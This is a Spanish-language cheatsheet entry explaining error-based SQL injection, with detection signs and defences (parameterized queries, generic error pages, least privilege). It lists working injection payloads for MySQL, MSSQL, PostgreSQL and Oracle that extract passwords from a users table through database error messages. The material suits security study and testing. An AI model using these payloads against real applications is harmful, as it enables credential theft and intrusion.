Error-based SQL Injection
Arsenal completo de comandos en la cheatsheetLa inyección SQL basada en errores extrae datos cuando la aplicación no muestra el resultado de la consulta pero sí devuelve los mensajes de error de la base de datos. Es un punto intermedio entre la UNION (que necesita reflejo del resultado) y la ciega (que no da ninguna señal): aquí el propio texto del error acarrea el dato que queremos.
La técnica tiene dos sabores. El condicional provoca un error solo cuando una condición es verdadera (típicamente una división por cero), convirtiendo el error en un oráculo booleano:
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END)-- -El error visible es más directo: se fuerza a una función a fallar de forma que el mensaje incluya el dato. Cada motor tiene su primitiva:
-- MySQL: EXTRACTVALUE / UPDATEXML (el 0x7e ~ marca donde empieza el dato)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1)))-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1)-- -
-- MySQL: variante clasica floor()/rand() (duplicate entry)
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- MSSQL / PostgreSQL: CAST/CONVERT de un texto a int falla y filtra el texto
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))-- - -- MSSQL
-- Oracle: CTXSYS o utl_inaddr filtran el dato en el error
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT password FROM users WHERE rownum=1))-- -Requisitos. La aplicación debe propagar los errores de la base de datos a la respuesta (mensajes verbosos) y la consulta debe permitir subconsultas. Si los errores están silenciados o son genéricos, esta vía no da información y hay que caer a la ciega por tiempo o booleana.
Cómo detectarlo. En el log de la aplicación la firma son peticiones que disparan errores 500 repetidos con funciones sospechosas (EXTRACTVALUE, UPDATEXML, CAST, CONVERT, 1/0) en un parámetro. Del lado de la base de datos, el error log registra conversiones inválidas o divisiones por cero desde la cuenta de la aplicación, algo que una app sana no genera en ráfaga.
Defensa. Consultas parametrizadas (nunca concatenar), no exponer los mensajes de error de la base de datos al usuario (páginas de error genéricas), y un usuario de base de datos con mínimos privilegios. Los datos extraídos, si son hashes, aún hay que romperlos: enlaza con cracking de hashes.